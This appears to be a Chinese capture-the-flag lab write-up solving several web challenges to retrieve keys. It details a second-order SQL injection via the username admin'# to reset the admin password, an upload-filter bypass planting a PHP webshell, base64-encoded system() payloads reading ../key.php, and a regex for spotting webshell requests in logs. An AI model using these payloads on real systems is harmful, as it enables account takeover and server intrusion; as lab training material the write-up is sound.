1、测试:
(1)用正常用户名密码注册,成功,无漏洞,修改密码,成功
(2)用特殊字符注册,成功,无漏洞,修改密码,不成功,存在sql漏洞。说明前期注册的用户名会影响后面密码修改部分的数据:
数据插入语句:
insert xxx value (username,password) //无漏洞
重置密码:
updata xxx value (新密码) where username=()//有漏洞
// 重置密码页面没有出现重新输入username的选项,说明此时的username是引用前面的特殊字符username,说明在updata这条语句中存在sql注入漏洞
// 二阶sql注入漏洞无法使用sqlmap
(3)尝试一下单引号闭合:注册一个新用户admin'#,然后重置密码;
admin'#用户被注册,随便在#后面加字符再注册:
进入重置密码:
重置成功,说明用户名中的单引号成功将updata语句闭合,#后面的内容被注释掉,那么其实重置的密码就是admin的密码,尝试登录:
成功拿到key1
二、34022(文件上传突破)和34012几乎一样
1、尝试上传各种类型文件,发现.jpg可以上传,但包含一句话木马的.jpg无法上传,burpsuite抓包,发送给repeater找出被注释的关键字,想办法绕过:
eval被注释,大小写绕过,后缀改为php3,上传成功:
2、访问,antsword连接
三、34023(文件包含)1、查看view.html页面源代码:
好像也和之前一样;
base64内容转义过来是:[@eval(base64_decode($_POST[z0]));]
也就是输入有Hello和z0,就将z0的内容通过base64转义之后输出。
2、输入Hello=x&z0=system('ls');
转义后:Hello=x&z0=c3lzdGVtKCdscycpOw==
没看到key,返回上一级命令查看:
Hello=x&z0=system('ls ../');
转义:
Hello=x&z0=c3lzdGVtKCdscyAuLi8nKTs=
发现key,查看:
Hello=x&z0=system('cat ../key.php');
3、查看源代码获取key:
四、34024(日志分析)1、下载日志文件,用notepad打开
2、查找->正则表达式
3、因为题目中说服务器已经被入侵,那说明入侵成功了,因此404可以忽略,查找200的就可以了;
".*(hack|back|admin|shell).*.php.*" 200
.*代表任意字符,一般入侵文件是php文件,因此html、js等文件类型可以忽略,黑客部分关键字一般涉及hack、back、admin等,进行匹配查找,关键词后面可能有其他内容,加上.*,php文件后面可能还有内容,因此跟上.*(200前面别忘了空格)
查找结果如下:
一次匹配成功,查看:
4、返回题目中搜索该url查看:
成功拿到key
五、34025(验证主机是否存活)1、查看目录文件
2、查看上层目录文件,发现key.php
3、获取key.php,分别用cat、grep、大小写绕过尝试,grep成功:
4、查看源代码,拿到key: